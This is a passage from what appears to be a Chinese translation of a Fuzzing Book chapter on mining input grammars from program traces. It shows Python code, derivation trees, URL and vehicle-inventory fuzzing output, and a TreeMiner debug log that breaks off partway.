+##### URL 4派生树
+
+```py
+clear_cache()
+with Tracer(URLS_X[-1], files=['urllib/parse.py']) as tracer:
+    urlparse(tracer.my_input)
+sm = AssignmentTracker(tracer.my_input, tracer.trace)
+dt = TreeMiner(tracer.my_input, sm.my_assignments.defined_vars())
+display_tree(dt.tree)
+
+```
+
+<svg height="329pt" viewBox="0.00 0.00 303.00 329.00" width="303pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 325)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112" y="-309.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112" y="-258.8"><url@361></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="46" y="-207.8"><scheme@435></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112" y="-207.8">:</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167" y="-207.8"><rest@432></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="46" y="-156.8">ftp</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167" y="-156.8"><url@435></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="103" y="-105.8">//</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167" y="-105.8"><netloc@438></text></g> <g class="edge" id="edge8"><title>6->8</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="260" y="-105.8"><url@438></text></g> <g class="edge" id="edge10"><title>6->10</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167" y="-54.8">freebsd.org</text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="260" y="-54.8"><url@369></text></g> <g class="edge" id="edge11"><title>10->11</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="260" y="-3.8">/releases/5.8</text></g> <g class="edge" id="edge12"><title>11->12</title></g></g></svg>
+
+派生树似乎属于同一语法。 因此，我们获得了完整的语法集。 首先，我们将`recover_grammar()`更新为使用`AssignTracker`。
+
+### 恢复语法
+
+```py
+class GrammarMiner(GrammarMiner):
+    def update_grammar(self, inputstr, trace):
+        at = self.create_tracker(inputstr, trace)
+        dt = self.create_tree_miner(inputstr, at.my_assignments.defined_vars())
+        self.add_tree(dt)
+        return self.grammar
+
+    def create_tracker(self, *args):
+        return AssignmentTracker(*args)
+
+    def create_tree_miner(self, *args):
+        return TreeMiner(*args)
+
+```
+
+接下来，我们对从URL获得的派生树使用修改后的`recover_grammar()`。
+
+```py
+url_grammar = recover_grammar(url_parse, URLS_X, files=['urllib/parse.py'])
+
+```
+
+恢复的语法如下。
+
+```py
+syntax_diagram(url_grammar)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 199.5 62" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">url@361</text></g></g></g></g></svg>
+
+```py
+url@361
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 381.5 92" width="381.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="116.75" y="35">scheme@412</text></g> <g class="terminal"><text x="203.5" y="35">:</text></g> <g class="non-terminal"><text x="277.5" y="35">url@413</text></g></g> <g><g class="non-terminal"><text x="112.5" y="65">scheme@435</text></g> <g class="terminal"><text x="199.25" y="65">:</text></g> <g class="non-terminal"><text x="277.5" y="65">rest@432</text></g></g></g></g></svg>
+
+```py
+scheme@412
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">http</text></g></g></g></g></svg>
+
+```py
+url@413
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 381.5 62" width="381.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="78.5" y="35">//</text></g> <g class="non-terminal"><text x="169.5" y="35">netloc@415</text></g> <g class="non-terminal"><text x="281.75" y="35">url@415</text></g></g></g></g></svg>
+
+```py
+netloc@415
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 369.5 92" width="369.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="184.75" y="35">www.fuzzingbook.org</text></g></g> <g><g class="terminal"><text x="184.75" y="65">user:pass@www.google.com:80</text></g></g></g></g></svg>
+
+```py
+url@415
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 390.0 92" width="390.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="124.0" y="35">/#</text></g> <g class="non-terminal"><text x="223.5" y="35">fragment@420</text></g></g> <g><g class="non-terminal"><text x="99.75" y="65">url@420</text></g> <g class="terminal"><text x="173.75" y="65">#</text></g> <g class="non-terminal"><text x="269.0" y="65">fragment@420</text></g></g></g></g></svg>
+
+```py
+url@420
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 273.5 62" width="273.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="78.5" y="35">/?</text></g> <g class="non-terminal"><text x="165.25" y="35">query@422</text></g></g></g></g></svg>
+
+```py
+query@422
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 191.0 62" width="191.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="95.5" y="35">q=path</text></g></g></g></g></svg>
+
+```py
+fragment@420
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 174.0 92" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">News</text></g></g> <g><g class="terminal"><text x="87.0" y="65">ref</text></g></g></g></g></svg>
+
+```py
+scheme@435
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 182.5 92" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="91.25" y="35">ftp</text></g></g> <g><g class="terminal"><text x="91.25" y="65">https</text></g></g></g></g></svg>
+
+```py
+rest@432
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 199.5 62" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">url@435</text></g></g></g></g></svg>
+
+```py
+url@435
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 381.5 92" width="381.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="78.5" y="35">//</text></g> <g class="non-terminal"><text x="169.5" y="35">netloc@438</text></g> <g class="non-terminal"><text x="281.75" y="35">url@438</text></g></g> <g><g class="terminal"><text x="104.0" y="65">//</text></g> <g class="non-terminal"><text x="195.0" y="65">netloc@438</text></g> <g class="terminal"><text x="281.75" y="65">/</text></g></g></g></g></svg>
+
+```py
+netloc@438
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 318.5 92" width="318.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="159.25" y="35">freebsd.org</text></g></g> <g><g class="terminal"><text x="159.25" y="65">www.cispa.saarland:80</text></g></g></g></g></svg>
+
+```py
+url@438
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 199.5 62" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">url@369</text></g></g></g></g></svg>
+
+```py
+url@369
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 250.5 62" width="250.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="125.25" y="35">/releases/5.8</text></g></g></g></g></svg>
+
+让我们稍微模糊一下，看看产生的值是否合理。
+
+```py
+f = GrammarFuzzer(url_grammar)
+for _ in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+https://freebsd.org/releases/5.8
+http://www.fuzzingbook.org/#News
+http://user:pass@www.google.com:80/#News
+ftp://www.cispa.saarland:80/
+http://user:pass@www.google.com:80/#News
+http://user:pass@www.google.com:80/#News
+https://www.cispa.saarland:80/releases/5.8
+http://user:pass@www.google.com:80/?q=path#ref
+https://www.cispa.saarland:80/releases/5.8
+http://www.fuzzingbook.org/#ref
+
+```
+
+我们的修改似乎确实有帮助。 接下来，我们检查是否仍然可以检索清单的语法。
+
+#### 示例2：恢复库存语法
+
+```py
+inventory_grammar = recover_grammar(process_vehicle, VEHICLES)
+
+```
+
+```py
+syntax_diagram(inventory_grammar)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 216.5 62" width="216.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="108.25" y="35">vehicle@1</text></g></g></g></g></svg>
+
+```py
+vehicle@1
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 643.5 62" width="643.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="95.5" y="35">year@2</text></g> <g class="terminal"><text x="165.25" y="35">,</text></g> <g class="non-terminal"><text x="235.0" y="35">kind@2</text></g> <g class="terminal"><text x="304.75" y="35">,</text></g> <g class="non-terminal"><text x="387.25" y="35">company@2</text></g> <g class="terminal"><text x="469.75" y="35">,</text></g> <g class="non-terminal"><text x="543.75" y="35">model@2</text></g></g></g></g></svg>
+
+```py
+year@2
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 174.0 122" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">2000</text></g></g> <g><g class="terminal"><text x="87.0" y="65">1999</text></g></g> <g><g class="terminal"><text x="87.0" y="95">1997</text></g></g></g></g></svg>
+
+```py
+kind@2
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 165.5 92" width="165.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="82.75" y="35">van</text></g></g> <g><g class="terminal"><text x="82.75" y="65">car</text></g></g></g></g></svg>
+
+```py
+company@2
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 199.5 122" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Ford</text></g></g> <g><g class="terminal"><text x="99.75" y="65">Chevy</text></g></g> <g><g class="terminal"><text x="99.75" y="95">Mercury</text></g></g></g></g></svg>
+
+```py
+model@2
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 199.5 122" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Venture</text></g></g> <g><g class="terminal"><text x="99.75" y="65">E350</text></g></g> <g><g class="terminal"><text x="99.75" y="95">Cougar</text></g></g></g></g></svg>
+
+使用模糊测试从语法中产生值。
+
+```py
+f = GrammarFuzzer(inventory_grammar)
+for _ in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+1997,van,Mercury,Cougar
+2000,van,Mercury,E350
+2000,van,Chevy,E350
+1997,car,Mercury,Venture
+1999,van,Mercury,Venture
+1999,van,Mercury,Venture
+1999,car,Mercury,Cougar
+2000,van,Mercury,E350
+1999,car,Chevy,Cougar
+1999,van,Mercury,Venture
+
+```
+
+### 重新分配[的语法矿工存在的问题](#Problems-with-the-Grammar-Miner-with-Reassignment)
+
+我们的语法挖掘器的问题之一是它尚未考虑当前上下文。 也就是说，在替换时，变量可以替换其无权访问的令牌（因此，不是令牌的一部分）。 考虑这个例子。
+
+```py
+with Tracer(INVENTORY) as tracer:
+    process_inventory(tracer.my_input)
+sm = AssignmentTracker(tracer.my_input, tracer.trace)
+dt = TreeMiner(tracer.my_input, sm.my_assignments.defined_vars())
+display_tree(dt.tree, graph_attr=lr_graph)
+
+```
+
+<svg height="617pt" viewBox="0.00 0.00 496.00 617.00" width="496pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 613)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-267.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="121" y="-267.8"><inventory@1></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="240.5" y="-481.8"><vehicle@3></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node15"><title>14</title></g> <g class="edge" id="edge14"><title>1->14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="240.5" y="-267.8"><vehicle@3></text></g> <g class="edge" id="edge15"><title>1->15</title></g> <g class="node" id="node28"><title>27</title></g> <g class="edge" id="edge27"><title>1->27</title></g> <g class="node" id="node29"><title>28</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="240.5" y="-86.8"><vehicle@3></text></g> <g class="edge" id="edge28"><title>1->28</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-597.8"><year@2></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-564.8">,</text></g> <g class="edge" id="edge5"><title>2->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-531.8"><kind@2></text></g> <g class="edge" id="edge6"><title>2->6</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-498.8">,</text></g> <g class="edge" id="edge8"><title>2->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-465.8"><company@2></text></g> <g class="edge" id="edge9"><title>2->9</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-432.8">,</text></g> <g class="edge" id="edge11"><title>2->11</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-399.8"><model@2></text></g> <g class="edge" id="edge12"><title>2->12</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-597.8">1997</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-531.8">van</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-465.8">Ford</text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-399.8">E350</text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-366.8"><year@2></text></g> <g class="edge" id="edge16"><title>15->16</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-333.8">,</text></g> <g class="edge" id="edge18"><title>15->18</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-300.8"><kind@2></text></g> <g class="edge" id="edge19"><title>15->19</title></g> <g class="node" id="node22"><title>21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-267.8">,</text></g> <g class="edge" id="edge21"><title>15->21</title></g> <g class="node" id="node23"><title>22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-234.8"><company@2></text></g> <g class="edge" id="edge22"><title>15->22</title></g> <g class="node" id="node25"><title>24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-201.8">,</text></g> <g class="edge" id="edge24"><title>15->24</title></g> <g class="node" id="node26"><title>25</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-168.8"><model@2></text></g> <g class="edge" id="edge25"><title>15->25</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-366.8">2000</text></g> <g class="edge" id="edge17"><title>16->17</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-300.8">car</text></g> <g class="edge" id="edge20"><title>19->20</title></g> <g class="node" id="node24"><title>23</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-234.8">Mercury</text></g> <g class="edge" id="edge23"><title>22->23</title></g> <g class="node" id="node27"><title>26</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-168.8">Cougar</text></g> <g class="edge" id="edge26"><title>25->26</title></g> <g class="node" id="node30"><title>29</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-135.8"><year@2></text></g> <g class="edge" id="edge29"><title>28->29</title></g> <g class="node" id="node32"><title>31</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-102.8">,car,</text></g> <g class="edge" id="edge31"><title>28->31</title></g> <g class="node" id="node33"><title>32</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-69.8"><company@2></text></g> <g class="edge" id="edge32"><title>28->32</title></g> <g class="node" id="node35"><title>34</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-36.8">,</text></g> <g class="edge" id="edge34"><title>28->34</title></g> <g class="node" id="node36"><title>35</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="359" y="-3.8"><model@2></text></g> <g class="edge" id="edge35"><title>28->35</title></g> <g class="node" id="node31"><title>30</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-135.8">1999</text></g> <g class="edge" id="edge30"><title>29->30</title></g> <g class="node" id="node34"><title>33</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-69.8">Chevy</text></g> <g class="edge" id="edge33"><title>32->33</title></g> <g class="node" id="node37"><title>36</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="463.5" y="-3.8">Venture</text></g> <g class="edge" id="edge36"><title>35->36</title></g></g></svg>
+
+可以看出，获得的派生树与我们的预期并不完全相同。 如果我们启用登录`TreeMiner`，则很容易看到该问题。
+
+```py
+dt = TreeMiner(tracer.my_input, sm.my_assignments.defined_vars(), log=True)
+
+```
+
+```py
+ inventory@1='1997,van,Ford,E350\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture'
+	 - Node: <start>		? (<inventory@1>:'1997,van,Ford,E350\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture')
+		 -> [0] '1997,van,Ford,E350\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture'
+		  > ['<inventory@1>']
+ vehicle@3='1997,van,Ford,E350'
+	 - Node: <start>		? (<vehicle@3>:'1997,van,Ford,E350')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<vehicle@3>:'1997,van,Ford,E350')
+		 -> [0] '1997,van,Ford,E350\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture'
+		  > ['<vehicle@3>', '\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture']
+ model@2='E350'
+	 - Node: <start>		? (<model@2>:'E350')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<model@2>:'E350')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<model@2>:'E350')
+		 -> [0] '1997,van,Ford,E350'
+		  > ['1997,van,Ford,', '<model@2>']
+ company@2='Ford'
+	 - Node: <start>		? (<company@2>:'Ford')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<company@2>:'Ford')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<company@2>:'Ford')
+		 -> [0] '1997,van,Ford,'
+		  > ['1997,van,', '<company@2>', ',']
+ kind@2='van'
+	 - Node: <start>		? (<kind@2>:'van')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<kind@2>:'van')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<kind@2>:'van')
+		 -> [0] '1997,van,'
+		  > ['1997,', '<kind@2>', ',']
+ year@2='1997'
+	 - Node: <start>		? (<year@2>:'1997')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<year@2>:'1997')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<year@2>:'1997')
+		 -> [0] '1997,'
+		  > ['<year@2>', ',']
+ vehicle@3='2000,car,Mercury,Cougar'
+	 - Node: <start>		? (<vehicle@3>:'2000,car,Mercury,Cougar')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<vehicle@3>:'2000,car,Mercury,Cougar')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<vehicle@3>:'2000,car,Mercury,Cougar')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<vehicle@3>:'2000,car,Mercury,Cougar')
+		 -> [0] '1997'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<vehicle@3>:'2000,car,Mercury,Cougar')
+		 -> [0] 'van'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<vehicle@3>:'2000,car,Mercury,Cougar')
+		 -> [0] 'Ford'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<vehicle@3>:'2000,car,Mercury,Cougar')
+		 -> [0] 'E350'
+		 -> [1] '\n2000,car,Mercury,Cougar\n1999,car,Chevy,Venture'
+		  > ['\n', '<vehicle@3>', '\n1999,car,Chevy,Venture']
+ model@2='Cougar'
+	 - Node: <start>		? (<model@2>:'Cougar')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<model@2>:'Cougar')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<model@2>:'Cougar')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<model@2>:'Cougar')
+		 -> [0] '1997'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<model@2>:'Cougar')
+		 -> [0] 'van'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<model@2>:'Cougar')
+		 -> [0] 'Ford'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<model@2>:'Cougar')
+		 -> [0] 'E350'
+		 -> [1] '\n'
+		 -> [2] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<model@2>:'Cougar')
+		 -> [0] '2000,car,Mercury,Cougar'
+		  > ['2000,car,Mercury,', '<model@2>']
+ company@2='Mercury'
+	 - Node: <start>		? (<company@2>:'Mercury')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<company@2>:'Mercury')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<company@2>:'Mercury')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<company@2>:'Mercury')
+		 -> [0] '1997'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<company@2>:'Mercury')
+		 -> [0] 'van'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<company@2>:'Mercury')
+		 -> [0] 'Ford'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<company@2>:'Mercury')
+		 -> [0] 'E350'
+		 -> [1] '\n'
+		 -> [2] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<company@2>:'Mercury')
+		 -> [0] '2000,car,Mercury,'
+		  > ['2000,car,', '<company@2>', ',']
+ kind@2='car'
+	 - Node: <start>		? (<kind@2>:'car')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<kind@2>:'car')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<kind@2>:'car')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<kind@2>:'car')
+		 -> [0] '1997'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<kind@2>:'car')
+		 -> [0] 'van'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<kind@2>:'car')
+		 -> [0] 'Ford'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<kind@2>:'car')
+		 -> [0] 'E350'
+		 -> [1] '\n'
+		 -> [2] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<kind@2>:'car')
+		 -> [0] '2000,car,'
+		  > ['2000,', '<kind@2>', ',']
+ year@2='2000'
+	 - Node: <start>		? (<year@2>:'2000')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<year@2>:'2000')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<year@2>:'2000')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<year@2>:'2000')
+		 -> [0] '1997'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<year@2>:'2000')
+		 -> [0] 'van'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<year@2>:'2000')
+		 -> [0] 'Ford'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<year@2>:'2000')
+		 -> [0] 'E350'
+		 -> [1] '\n'
+		 -> [2] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<year@2>:'2000')
+		 -> [0] '2000,'
+		  > ['<year@2>', ',']
+ vehicle@3='1999,car,Chevy,Venture'
+	 - Node: <start>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] '<inventory@1>'
+	 - Node: <inventory@1>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] '1997'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] 'van'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] 'Ford'
+		 -> [5] ','
+		 -> [6] '<model@2>'
+	 - Node: <model@2>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] 'E350'
+		 -> [1] '\n'
+		 -> [2] '<vehicle@3>'
+	 - Node: <vehicle@3>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] '<year@2>'
+	 - Node: <year@2>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] '2000'
+		 -> [1] ','
+		 -> [2] '<kind@2>'
+	 - Node: <kind@2>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] 'car'
+		 -> [3] ','
+		 -> [4] '<company@2>'
+	 - Node: <company@2>		? (<vehicle@3>:'1999,car,Chevy,Venture')
+		 -> [0] 'Mercury'
+		 -> [5] ','
+		 -> [6] '<model@2>'
